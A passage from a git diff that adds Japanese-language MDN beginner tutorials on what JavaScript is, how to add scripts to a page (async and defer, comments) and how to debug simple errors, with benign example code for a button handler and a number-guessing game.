href="http://webglsamples.org/">webglsamples</a> などのページを見てください。</li> + <li><a href="/ja/Apps/Fundamentals/Audio_and_video_delivery">音声と動画の API</a>、たとえば {{domxref("HTMLMediaElement")}} や {{domxref("WebRTC API", "WebRTC")}} などは適切な音声・動画をウェブページで再生することや、ウェブカメラの動画を撮って他の人のコンピューターで流すといった、マルチメディアの可能性を示してくれます (我々が作った<a href="http://chrisdavidmills.github.io/snapshot/"> Snapshot demo</a> を見てみてください)。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: 上記の多くは古いブラウザーでは動作しません。試すには Firefox、Chrome、Edge、Opera といったモダンなブラウザーを使うのがよいでしょう。プロダクションコードを提供する (顧客に実際のコードを納品する) 段になったら、<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing">クロスブラウザーテスト</a>を読んでみるとよいでしょう。</p> +</div> + +<p><strong>サードパーティ API </strong>はブラウザーには組み込まれておらず、さらに普通はウェブ上のどこかからそのコードと情報を探さなければなりません。例えば、</p> + +<ul> + <li><a href="https://dev.twitter.com/overview/documentation">Twitter API</a> を使用して、ウェブサイトに最新のツイートを表示させることができます。</li> + <li><a href="https://developers.google.com/maps/">Google マップ API</a> と <a href="https://wiki.openstreetmap.org/wiki/API">OpenStreetMap API</a> を使用して、ウェブサイトに専用の地図を埋め込み、付加機能を付けることもできます。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: このような API は先進的ですが、このモジュールでは扱いません。詳しく知りたければ <a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs">Client-side web APIs module</a> で扱っています。</p> +</div> + +<p>ワクワクすることはもっとたくさんあります！ ですが、まだ興奮しすぎないでください。24 時間程度の勉強だけでは、Facebook や Google マップや Instagram は作れません。まずはやらなければならない基本がたくさんあるのです。さあ、先に進みましょう！</p> + +<h2 id="What_is_JavaScript_doing_on_your_page" name="What_is_JavaScript_doing_on_your_page">JavaScript は何をするのか</h2> + +<p>まずは実際にコードを見てみましょう。そしてページで JavaScript を動かすと何が起きるのか見てみましょう。</p> + +<p>ブラウザーをウェブページに読み込んだときの話を簡単に説明します (<a href="/ja/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_does_CSS_actually_work">How CSS works</a> の記事で最初に出てきました)。ウェブページをブラウザーで見たとき、実行環境 (ブラウザーのタブ) の中で、コード (HTML、CSS そして JavaScript) が実行されます。これは素材 (コード) を加工して製品 (ウェブページ) を出力する工場のようなものです。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13504/execution.png" style="display: block; margin: 0 auto;"></p> + +<p>JavaScript のごく一般的な用途は、(先ほど例示した) Document Object Model API を介して動的に HTML と CSS を変更し、ユーザーインターフェイスを更新することです。なお、ウェブドキュメント上のコードは通常、ページ上に現れる順序で読み込まれて実行されます。もし JavaScript がロードされ、影響を受ける HTML および CSS がロードされる前に実行しようとすると、エラーが発生する可能性があります。この回避策については、記事の後半の「<a href="/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript#Script_loading_strategies">スクリプトの読み込み方針</a>」セクションで学習します。</p> + +<h3 id="ブラウザーのセキュリティ">ブラウザーのセキュリティ</h3> + +<p>ブラウザーのそれぞれのタブは、コードを実行するための入れ物を個別に持ちます (この入れ物を技術的用語では「実行環境」と呼びます)。つまり、それぞれのタブ内でコードは完全に分かれて実行されており、あるタブで動いているコードは他のタブや他のウェブサイトのコードに、直接的には干渉できません。これは良いセキュリティ対策です。互いに干渉することが出来てしまえば、ウェブの悪党たちは、他のタブで開いているウェブサイトから情報を盗み出したり、もっとひどいことをするためにコードを書き始めることでしょう。</p> + +<div class="note"> +<p><strong>注</strong>: 他のウェブサイトや、タブに安全にデータや実行可能なコードを送る方法はあります。けれども、このコースでは扱わない高度な技術です。</p> +</div> + +<h3 id="JavaScript_running_order" name="JavaScript_running_order">JavaScript の実行順序</h3> + +<p>ブラウザーが JavaScript のブロックを見つけたとき、たいていは先頭から最後に向かって順番に実行されます。つまりどの順番で実行されるかということに気を配らなければなりません。例えば、最初の例で見た JavaScript のブロックに戻りましょう。</p> + +<pre class="brush: js notranslate">const para = document.querySelector('p'); + +para.addEventListener('click', updateName); + +function updateName() { + let name = prompt('名前を入力して下さい'); + para.textContent = 'Player 1: ' + name; +}</pre> + +<p>このコードでは文章段落を選択して (1 行目)、イベントリスナーを登録して (3 行目) 段落がクリックされたとき、<code>updateName()</code> というコードブロック (5 行目から 8 行目) が実行されるようにしています。<code>updateName()</code> というコードブロック (再利用可能なコードブロックで「関数」と呼びます) は、ユーザーに新しい名前を尋ねて、表示内容を変更するため、段落にその名前を挿入します。</p> + +<p>もし、最初の 2行を入れ替えた場合、動かなくなってしまいます。代わりに<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザーの開発者コンソール</a>に <code>TypeError: para is undefined</code> というエラーが出るでしょう。この意味は <code>para</code> オブジェクトがまだ存在しないため、イベントリスナーを設定できないということを表しています。</p> + +<div class="note"> +<p><strong>注</strong>: これはとてもよくあるエラーです。オブジェクトに対して何かをする前にはそのオブジェクトへの参照が存在していることに気を配らなければなりません。</p> +</div> + +<h3 id="Interpreted_versus_compiled_code" name="Interpreted_versus_compiled_code">インタープリターとコンパイルコード</h3> + +<p>もしかしたら、<strong>インタープリター</strong>と<strong>コンパイル</strong>という用語をプログラミングの文脈で聞いたことがあるかもしれませんね。インタープリターでは、コードが上から下に実行されてコードの実行結果がすぐに返ってきます。ブラウザーが実行する前にコードを何らかの形に変換する必要はありません。コードはプログラマーに親しみやすいテキストで受け取って、それから直接処理されます。</p> + +<p>反対に、コンパイル言語はコンピューターで実行する前に他の形式に変換 (コンパイル) しなければなりません。例えば C/C++ は機械語にコンパイルされてから、コンピューターで実行されます。プログラムは、元のプログラムソースコードから生成されるバイナリーフォーマットで実行されます。</p> + +<p>JavaScript は軽量なインタープリター型プログラミング言語です。ウェブブラウザーは元のテキストの形で JavaScript コードを受け取り、それからスクリプトを実行します。技術的な見地からは、たいていの JavaScript インタープリターは <strong>just-in-time compiling</strong> というテクニックを使ってパフォーマンスを向上させています; スクリプトが使われるときに、JavaScript コードが速いバイナリーフォーマットにコンパイルされて、可能な限り高速に実行されます。しかし、JavaScript は、事前ではなく実行時にコンパイルされるために、インタープリター言語と考えられています。</p> + +<p>ここで詳細は話しませんが、どちらの方式も長所と短所があります。</p> + +<h3 id="Server-side_versus_client-side_code" name="Server-side_versus_client-side_code">サーバーサイドコードとクライアントサイドコード</h3> + +<p><strong>サーバーサイド</strong>と<strong>クライアントサイド</strong>という言葉も聞いたことがあるかもしれません。特にウェブ開発でよく聞かれます。クライアントサイドコードはユーザーのコンピューター上で実行されるコードです。ウェブページを見ているとき、ページのクライアントサイドコードがダウンロードされて、ブラウザーで実行されて表示されます。この JavaScript モジュールのことを明示的に<strong>クライアントサイド JavaScript </strong>と言います。</p> + +<p>反対に、サーバーサイドコードはサーバー上で実行され、結果がブラウザーにダウンロードされて表示されます。ウェブで人気のあるサーバーサイドの言語は、PHP、Python、Ruby や ASP.NET など。そして JavaScript です！ JavaScript はサーバーサイドの言語としても使われます。人気のある Node.js 環境がその例です。サーバーサイドの JavaScript については <a href="/ja/docs/Learn/Server-side">Dynamic Websites – Server-side programming</a> のトピックを見てください。</p> + +<h3 id="Dynamic_versus_static_code" name="Dynamic_versus_static_code">動的コードと静的コード</h3> + +<p>クライアントサイドの JavaScript と、サーバーサイドの言語を説明するのに<strong>動的</strong>という言葉を使います。これはウェブページやウェブアプリが必要に応じてコンテンツを生成し、異なる状況において異なる表示ができるという能力を指しています。サーバーサイドのコードは、データベースからデータを取得して動的にコンテンツを生成します。一方、クライアントサイドの JavaScript はクライアント上のブラウザーで HTML のテーブルを生成したり、そのテーブルにサーバーから指示を受け、データを追加したり、ウェブページ上でユーザーにテーブルを表示したりするなどして、動的にコンテンツを生成します。それぞれの文脈で、少し異なる意味合いではありますが、関連しています。そしてどちらの方式も (サーバーサイドもクライアントサイドも) たいていは同時に使用されます。</p> + +<p>動的に更新されるコンテンツを含まないウェブページは<strong>静的</strong>と表現されます。静的なウェブページとは常に同じコンテンツを表示するページのことです。</p> + +<h2 id="How_do_you_add_JavaScript_to_your_page" name="How_do_you_add_JavaScript_to_your_page">ページに JavaScript を追加する方法</h2> + +<p>JavaScript は CSS と同じような方法で、HTML ページに適用することができます。CSS では {{htmlelement("link")}} 要素を使用することで外部のスタイルシートを適用することができ、また、{{htmlelement("style")}} 要素を使用することで HTML 内部に書かれたスタイルシートを適用することが出来ました。しかし、JavaScript で HTML に書く必要があるのは {{htmlelement("script")}} 要素だけです。どのように書くのか見てみましょう。</p> + +<h3 id="Internal_JavaScript" name="Internal_JavaScript">内部の JavaScript</h3> + +<ol> + <li>まずは <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript.html">apply-javascript.html</a> ファイルを自分のコンピューターにコピーします。どこか適当な場所に保存してください。</li> + <li>テキストエディターとウェブブラウザーでそのファイルを開いてください。クリックできるボタンが 1 つあるウェブページを作る HTML だということがわかりますね。</li> + <li>次に、テキストエディターで <code></head></code> タグの直前に以下のコードを追加します。 + <pre class="brush: html notranslate"><script> + + // JavaScript をここに書きます + +</script></pre> + </li> + <li>それでは {{htmlelement("script")}} 要素内に JavaScript を書いて、もうちょっと面白いことをしてみましょう。「// JavaScript をここに書きます」と書いてあるすぐ下に、以下のコードを追加してください。 + <pre class="brush: js notranslate">document.addEventListener("DOMContentLoaded", function() { + function createParagraph() { + let para = document.createElement('p'); + para.textContent = 'ボタンが押されました!'; + document.body.appendChild(para); + } + + const buttons = document.querySelectorAll('button'); + + for(let i = 0; i < buttons.length ; i++) { + buttons[i].addEventListener('click', createParagraph); + } +});</pre> + </li> + <li>ファイルを保存してブラウザーを更新してください。ボタンを押す度に新しい段落が作られて、下に表示されるようになりましたね。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: もし上記の例が上手く動いていないとしたら、もう一度最初から手順を確認してください。コピーしてコードを書いたファイルは <code>.html</code> というファイル名ですか？ {{htmlelement("script")}} 要素を <code></head></code> タグの直前に追加しましたか？ JavaScript を上の例の通りに書きましたか？<strong> JavaScript は大文字小文字を区別しますので、見えている通りに書かなければなりません。正しく書いていなければ、動いてくれません。</strong>文字化けしているなら、テキストエディターの文字エンコーディングの設定が UTF-8 になっていることを確認してください。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: GitHub にあるこちらのバージョン、<a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">apply-javascript-internal.html</a> (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-internal.html">動くバージョンもあります</a>) を見ることもできます。</p> +</div> + +<h3 id="External_JavaScript" name="External_JavaScript">外部の JavaScript</h3> + +<p>これで JavaScript が動きましたね。しかし、JavaScript を外部のファイルに書きたいときはどうすればよいでしょうか？ 次の例を見てみましょう。</p> + +<ol> + <li>まず、先ほどの HTML ファイルと同じディレクトリーに新しいファイルを作ります。これを <code>script.js</code> と名付けます。.js という拡張子であることを確認してください。それで JavaScript であると認識されるのです。</li> + <li>{{htmlelement("script")}} 要素を以下のコードで置き換えます。 + <pre class="brush: html notranslate"><script src="script.js" defer></script></pre> + </li> + <li><code>script.js</code> に、次のスクリプトを追加します。 + <pre class="brush: js notranslate">function createParagraph() { + let para = document.createElement('p'); + para.textContent = 'ボタンが押されました!'; + document.body.appendChild(para); +} + +const buttons = document.querySelectorAll('button'); + +for(let i = 0; i < buttons.length ; i++) { + buttons[i].addEventListener('click', createParagraph); +}</pre> + </li> + <li>HTML ファイルを保存して、ブラウザーを更新してください。同じページが見えますね！ 同じように動いていますが、今回は外部の JavaScript ファイルです。コードを整理して、複数の HTML ファイルから再利用できるようにするには、このようにするのが良いでしょう。大きなスクリプトの塊がないほうが、HTML も読みやすくなります。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: GitHub でこちらのバージョンも見られます。<a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">apply-javascript-external.html</a> と <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/what-is-js/script.js">script.js</a> です (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/what-is-js/apply-javascript-external.html">動いているバージョンもあります</a>)。</p> +</div> + +<h3 id="Inline_JavaScript_handlers" name="Inline_JavaScript_handlers">インラインの JavaScript ハンドラー</h3> + +<p>たまに JavaScript のコードが HTML の途中に書かれているのを見かけます。こんな感じで。</p> + +<div id="inline_js_example"> +<pre class="brush: js example-bad notranslate">function createParagraph() { + let para = document.createElement('p'); + para.textContent = 'ボタンが押されました！'; + document.body.appendChild(para); +}</pre> + +<pre class="brush: html example-bad notranslate"><button onclick="createParagraph()">押してください</button></pre> +</div> + +<p>このバージョンのデモを下のボタンを押して確認してください。</p> + +<p>{{ EmbedLiveSample('inline_js_example', '100%', 150, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>このデモは先ほどのセクションのものと同じ機能を持っていますが、{{htmlelement("button")}} 要素に <code>onclick</code> 属性を付けてボタンが押されたときに関数が実行されるようにハンドラーを直接書いています。</p> + +<p><strong>書けはしますが、このようにはしないでください。</strong>この書き方は HTML を JavaScript で汚してしまう悪い書き方です。さらに、<code>onclick="createParagraph()"</code> という属性を JavaScript を適用したいボタンすべてに書かなければなりませんので、とても非効率です。</p> + +<p>純粋な JavaScript では、1 つの命令ですべてのボタンが取得できます。先ほど使用した、すべてのボタンを取得するためのコードは以下の通りでした。</p> + +<pre class="brush: js notranslate">const buttons = document.querySelectorAll('button'); + +for(let i = 0; i < buttons.length ; i++) { + buttons[i].addEventListener('click', createParagraph); +}</pre> + +<p>これは <code>onclick</code> 属性を用いて書くより少し長いように見えますが、どれだけそのページにボタンを追加し、削除し、いくつあろうとも期待通りに動くでしょう。コードを変更することなく。</p> + +<div class="note"> +<p><strong>注</strong>: 自分の <code>apply-javascript.html</code> ファイルを編集して、いくつかボタンを追加してみて下さい。再度読み込むとどのボタンを押しても段落が作られるのがわかるでしょう。素敵でしょ！</p> +</div> + +<h3 id="Script_loading_strategies" name="Script_loading_strategies">スクリプトの読み込み方針</h3> + +<p>スクリプトを適切なタイミングで読み込むためには、いくつかの問題があります。 それは見掛けほど簡単ではありません！ 一般的な問題は、ページ上のすべての HTML が、現れた順に読み込まれることです。JavaScript を使用してページ上の要素（またはより正確には、<a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#The_document_object_model">Document Object Model</a>）を操作している場合、何かをしようとする HTML の前に JavaScript が読み込まれ、解析されてもコードは機能しません。</p> + +<p>上のコード例では、内部の例と外部の例は、HTML 本文が解析される前に JavaScript が読み込まれて文書の head で実行されています。これによりエラーが発生する可能性があるため、いくつかの構文を使用して回避しています。</p> + +<p>内部の例では、コードの周りにこの構造を見ることができます。</p> + +<pre class="brush: js notranslate">document.addEventListener("DOMContentLoaded", function() { + ... +});</pre> + +<p>これはブラウザーの "DOMContentLoaded" イベントをリッスンするイベントリスナーで、HTML body が完全に読み込まれて解析されたことを示します。このブロック内の JavaScript はそのイベントが発生するまで実行されないため、エラーは回避されます (コースの後半で<a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントについて学習</a>します) 。</p> + +<p>外部の例では、より現代的な JavaScript 機能の <code>defer</code> 属性を使用して問題を解決し、<code><script></code> 要素に達した後も HTML コンテンツのダウンロードを続行するようブラウザーに指示します。</p> + +<pre class="brush: js notranslate"><script src="script.js" defer></script></pre> + +<p>この場合、スクリプトと HTML の両方が同時に読み込まれ、コードが機能します。</p> + +<div class="note"> +<p><strong>注</strong>: 外部のケースでは、<code>defer</code> 属性が問題を解決したため、<code>DOMContentLoaded</code> イベントを使用する必要はありませんでした。<code>defer</code> は外部スクリプトに対してのみ機能するため、内部の例では <code>defer</code> による解決策を使用しませんでした。</p> +</div> + +<p>この問題に対する昔ながらの解決策は、すべての HTML が解析された後に読み込まれるように、body の下部に（たとえば <code></body></code> タグの直前に）script 要素を置くことでした。この解決策（および上記の <code>DOMContentLoaded</code> による解決策）の問題点は、HTML DOM が読み込まれるまでスクリプトの読み込みと解析が完全にブロックされることです。JavaScript がたくさんある大規模なサイトでは、これは大きなパフォーマンス上の問題を引き起こす可能性があり、サイトを遅くします。</p> + +<h4 id="async_and_defer" name="async_and_defer">async と defer</h4> + +<p>実際には、スクリプトのブロッキングの問題を回避できるモダンな機能が 2 つあります — <code>async</code> と <code>defer</code>(すでに見てきました)。これらの 2 つの違いを見てみましょう。</p> + +<p><code>async</code> 属性を使って読み込むスクリプトは(下記を見てください)、ページのレンダリングをブロックせずにスクリプトをダウンロードし、スクリプトのダウンロードが終了すると直ちに実行します。複数のスクリプトが特定の順序で実行されるという保証はありませんが、ページの残りの部分の表示を停止することはありません。ページ内のスクリプトが互いに独立して実行され、ページ上の他のスクリプトに依存しない場合は、<code>async</code> を使用することをお勧めします。</p> + +<p>たとえば、次のスクリプト要素があるとします。</p> + +<pre class="brush: html notranslate"><script async src="js/vendor/jquery.js"></script> + +<script async src="js/script2.js"></script> + +<script async src="js/script3.js"></script></pre> + +<p>スクリプトが読み込まれる順序に依存することはできません。<code>jquery.js</code> は <code>script2.js</code> と <code>script3.js</code> に前後して読み込まれます。この場合、<code>jquery</code> に依存するこれらのスクリプトの関数は、スクリプトの実行時に <code>jquery</code> が定義されないため、エラーを生成します。</p> + +<p>読み込むバックグラウンドスクリプトがいくつもあって、それらをできるだけ早く実行したい場合に <code>async</code> を使用するべきです。例えば、ゲームを実際に開始するときに必要になるいくつかのロードすべきゲームデータファイルがあるとして、今のところは、スクリプトのロードによってブロックされずに、ゲームのイントロ、タイトル、ロビーを表示したいだけ、という場合です。</p> + +<p><code>defer</code> 属性つきのスクリプト(下記のようなもの)は、ページに現れた順序でスクリプトを実行し、スクリプトとコンテンツがダウンロードされるとすぐにスクリプトを実行します。</p> + +<pre class="brush: html notranslate"><script defer src="js/vendor/jquery.js"></script> + +<script defer src="js/script2.js"></script> + +<script defer src="js/script3.js"></script></pre> + +<p><code>defer</code> 属性を持つすべてのスクリプトは、ページに現れた順序で読み込まれます。したがって、2番目の例では、<code>jquery.js</code> が <code>script2.js</code> と <code>script3.js</code> の前に読み込まれ、<code>script2.js</code> が <code>script3.js</code> の前に読み込まれることは確実です。ページコンテンツがすべて読み込まれるまでは、実行せず、これはスクリプトが DOM配置に依存している場合に便利です(例: ページの要素を変更する場合)</p> + +<p>要約すると、</p> + +<ul> + <li><code>async</code> と <code>defer</code> の両方とも、ページのその他の部分 (DOM など) がダウンロード中な時でも、ブラウザーにスクリプトを別々のスレッドでダウンロードするよう指示して、このためページ読み込みはスクリプトでブロックされません。</li> + <li>依存関係なしでスクリプトを単独ですぐに実行できる場合は、<code>async</code> を使用します。</li> + <li>スクリプトが他のスクリプトや DOM配置に依存している場合は、<code>defer</code> を使用してスクリプトを読み込み、対応する <code><script></code> 要素をブラウザーで実行して欲しい順序で配置します。</li> +</ul> + +<h2 id="コメント">コメント</h2> + +<p>HTML や CSS と同様に、JavaScript でもコード内にブラウザーが実行しない「コメント」を書くことができます。仲間の開発者 (または、6 カ月後のコードを忘れた自分自身) に対して動作方法を書くことができます。コメントはとても便利ですしたくさん書きましょう。大きなプログラムを書くのならなおのことです。コメントの書き方は 2 種類あります。</p> + +<ul> + <li>1 行で収まるコメントは 2 つのスラッシュ (//) のあとに続けて書きます。 + <pre class="brush: js notranslate">// これはコメントです</pre> + </li> + <li>複数行に渡るコメントは /* から */ の間に書きます。 + <pre class="brush: js notranslate">/* + これも + コメントです +*/</pre> + </li> +</ul> + +<p>先ほどのデモでコメントを書くならば、以下のようにします。</p> + +<pre class="brush: js notranslate">// 関数: HTML の body タグ内の一番下に新しい段落を追加します。 + +function createParagraph() { + let para = document.createElement('p'); + para.textContent = 'ボタンが押されました！'; + document.body.appendChild(para); +} + +/* + 1. ページ内のボタンへの参照をすべて取り出して配列に入れる。 + 2. すべてのボタンをループで回し、クリックイベントのリスナーを追加する + + どのボタンが押されても、createParagraph() 関数が実行されるようにする。 +*/ + +const buttons = document.querySelectorAll('button'); + +for (let i = 0; i < buttons.length ; i++) { + buttons[i].addEventListener('click', createParagraph); +}</pre> + +<div class="note"> +<p><strong>メモ</strong>: 一般的にコメントは多いほうが少ないよりも優れていますが、変数が何であるかを説明する (変数名はおそらくもっと直感的にするべきです) ため、または非常に単純な操作を説明する (コードが複雑すぎるかもしれません) ために、多くのコメントを追加する場合は注意が必要です。</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>さて、JavaScript の世界に足を踏み入れましたね。なぜ JavaScript を使い、何ができるのかということに慣れるため、まずは理論から始めました。進むにつれ、少しでしたが例を見て、何よりも JavaScript がどのようにウェブサイトの他のコードに組み込まれているかを学習しました。</p> + +<p>JavaScript が少し大変だと思いましたか。でも心配は無用です。このコースを受講することで一歩ずつ、理解しながら前に進んで行きましょう。次の記事で、まっすぐに飛び込んで自分で JavaScript のページを作って<a href="/ja/docs/Learn/JavaScript/First_steps/A_first_splash">実践に飛び込んでいきましょう</a>。</p> + +<p>{{NextMenu("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript への最初のダイブ</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている? JavaScript のトラブルシューティング</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript での演算の基本 — 数値と演算子について</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">評価: バカ話ジェネレーター</a></li> +</ul> diff --git a/files/ja/learn/javascript/first_steps/what_went_wrong/index.html b/files/ja/learn/javascript/first_steps/what_went_wrong/index.html new file mode 100644 index 0000000000..accce26c15 --- /dev/null +++ b/files/ja/learn/javascript/first_steps/what_went_wrong/index.html @@ -0,0 +1,265 @@ +--- +title: 何が間違っている? JavaScript のトラブルシューティング +slug: Learn/JavaScript/First_steps/What_went_wrong +tags: + - Article + - Beginner + - CodingScripting + - Debugging + - Developer Tools + - Error + - JavaScript + - Learn + - Tutorial + - console.log + - 'l10n:priority' +translation_of: Learn/JavaScript/First_steps/What_went_wrong +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">前の記事の「数字当てゲーム」を作っていて、動かないことはありませんでしたか？恐れることはありません。この記事では、そんな心配をしなくて済むように、JavaScript のエラーを見つけて直す方法を伝授します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、HTML および CSS の基本的な理解、JavaScript についての理解。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>コード内のシンプルな問題を修正し始める能力と自信を得る。</td> + </tr> + </tbody> +</table> + +<h2 id="Types_of_error" name="Types_of_error">エラーの種類</h2> + +<p>コードに誤りがある場合、一般的に以下の 2 つのうち、どちらかの誤りであることがよくあります。</p> + +<ul> + <li><strong>文法エラー</strong>: プログラムが全く動かなかったり、途中で止まったりするような記述エラーで、通常はエラーメッセージが出力されます。正しいツールに慣れて、エラーメッセージの内容がわかるのなら、さほど無理なく修正が可能です。</li> + <li><strong>論理のエラー</strong>: 書き方は正しくても、コードが意図した通りに動ないエラーです。つまりプログラムは動くのですが、間違った結果を返します。たいていの場合に、問題となる箇所に直接のエラーメッセージが出ることがないため、文法エラーよりも直すのが難しいことが多いです。</li> +</ul> + +<p>まあ、こんなに単純ではありません。もっと深く追及していくと違う種類のエラーも出てくることでしょう。しかし、見習いのうちは上の分類で十分です。上記2 つの種類のエラーについて見ていきましょう。</p> + +<h2 id="An_erroneous_example" name="An_erroneous_example">誤りの例</h2> + +<p>始めるにあたり、数字当て (今回は当たらない) ゲームに戻りましょう。わざとエラーになるバージョンを見ていきます。Github に行って <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">number-game-errors.html</a> をローカルにコピーしてください。(<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/troubleshooting/number-game-errors.html">ライブ実行はこちら</a>を見てください)</p> + +<ol> + <li>始めるには、コピーしたファイルをお好みのテキストエディターとブラウザで開きます。</li> + <li>ゲームで遊んでみてください。気づきましたか。"予想を入力" ボタンを押しても動きません！</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: もしかしたら、あなたにも直したいと思っているバージョンがあるかもしれませんね。ですが、まずはこちらで用意したバージョンを直してみてください。そうすれば、ここで教えるテクニックが身につきます。それから、あなた自身のプログラムに戻って直してみてください。</p> +</div> + +<p>それでは、開発者コンソールで文法エラーがあるか調べてみましょう。それからエラーを修正します。どうやって修正すればいいかは今から教えます。</p> + +<h2 id="Fixing_syntax_errors" name="Fixing_syntax_errors">文法エラーを修正する</h2> + +<p>以前に<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">開発者ツールの JavaScript コンソール</a>で、簡単なコマンドを入力してもらったことがあったと思います。(思い出せなければ、リンクを見て開き方を調べてください。) コンソールの何が便利かといえば、ブラウザの JavaScript エンジンに読み込ませようとしている JavaScript コードに文法エラーがあれば、すべて教えてくれるのです。さあ、バグを潰していきましょう。</p> + +<ol> + <li><code>number-game-errors.html</code> ファイルを開いているタブを選択して、JavaScript コンソールを開いてください。以下のメッセージが表示されていますね。<img alt="" src="https://mdn.mozillademos.org/files/13496/not-a-function.png" style="display: block; margin: 0 auto;"></li> + <li>これは分かりやすいエラーです。ブラウザからもいくつか情報が出ています。(上のスクリーンショットは FireFox のものですが、他のブラウザでも同様の情報が表示されるでしょう。) 左から順に説明します。 + <ul> + <li>赤色の 「x」 ボタンはエラーがあることを示しています。</li> + <li>「TypeError: guessSubmit.addeventListener is not a function」というエラーメッセージが、何が問題かを示しています。</li> + <li>「Learn More」 のリンクがエラー内容についてもっと詳細に説明する MDN のページを指しています。</li> + <li>JavaScript のファイルの名前が出ています。このリンクをクリックすると、開発者ツールのデバッガータブで問題のあるファイルが開きます。ハイライトされているエラーの箇所が見えるでしょう。</li> + <li>エラーがある行の行番号と、最初の文字が始まる番号が出ています。上の例では 86行目の 3文字目です。</li> + </ul> + </li> + <li>テキストエディターで 86行目を見てみましょう。 + <pre class="brush: js notranslate">guessSubmit.addeventListener('click', checkGuess);</pre> + </li> + <li>エラーでは、"guessSubmit.addeventListener is not a function" とあり、これは JavaScript インタープリタに呼び出している関数が認識されないという意味です。しばしば、このエラーメッセージは、スペルミスをしたということです。もし正しい綴りがわからなければ、MDN のサイトで使用している機能を調べてみてください。きっと見つかります。いつもはお好みの検索エンジンで「mdn <em>機能の名前</em>」と検索してみるのがよいでしょう。今回は代わりに <code><a href="/ja/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> のリンクを張っておきます。</li> + <li>ページによると、関数の名前を間違えたみたいですね！JavaScript は大文字・小文字を区別しますので、ちょっとでも違うとエラーの原因になることを覚えておきましょう。それでは <code>addeventListener</code> を <code>addEventListener</code> に修正してエラーを直しましょう。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: <a href="/ja/docs/Web/JavaScript/Reference/Errors/Not_a_function">TypeError: "x" is not a function</a> のリファレンスページで、このエラーに関する詳細な説明が見られます。</p> +</div> + +<h3 id="Syntax_errors_round_two" name="Syntax_errors_round_two">文法エラーその 2</h3> + +<ol> + <li>ファイルを保存してブラウザを更新すると、エラーが消えています。</li> + <li>予想を入力して、予想を入力ボタンを押してみると、...別のエラーが起きています！<img alt="" src="https://mdn.mozillademos.org/files/13498/variable-is-null.png" style="display: block; margin: 0 auto;"></li> + <li>今回のエラーを見ると、78行目で"TypeError: lowOrHi is null"が起きています。 + <div class="note"><strong>注</strong>: <code><a href="/ja/docs/Glossary/Null">Null</a></code> は「何もない」ことや「値がない」ことを表す特別な値です。つまり <code>lowOrHi</code> が宣言されて初期化されているけれど、意味のある値ではない — つまり型も値もないということです。</div> + + <div class="note"><strong>注</strong>: このエラーは関数内部 (<code>checkGuess() { ... }</code> ブロックの中) で発生したため、ページを読み込んだだけでは出てきませんでした。後に続く<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数の記事</a>を読み進めていけば分かりますが、内側の関数のスコープは外側の関数のスコープとは異なります。今回のケースでは、86行目の <code>checkGuess()</code> 関数が実行されるまで実行されず、エラーも発生していませんでした。</div> + </li> + <li>78行目を見てください。以下のコードが書かれています。 + <pre class="brush: js notranslate">lowOrHi.textContent = '今の予想は大きすぎです!';</pre> + </li> + <li>この行は <code>lowOrHi</code> 定数の <code>textContent</code> プロパティに文字列を設定しようとしていますが、<code>lowOrHi</code> 定数に適切な値が設定されていないため上手く動きません。<code>lowOrHi</code> が使用されている箇所をコードのほかの部分から探してみましょう。最初に見つかるのは 48行目でしょう。 + <pre class="brush: js notranslate">const lowOrHi = document.querySelector('lowOrHi');</pre> + </li> + <li>ここでは、HTML 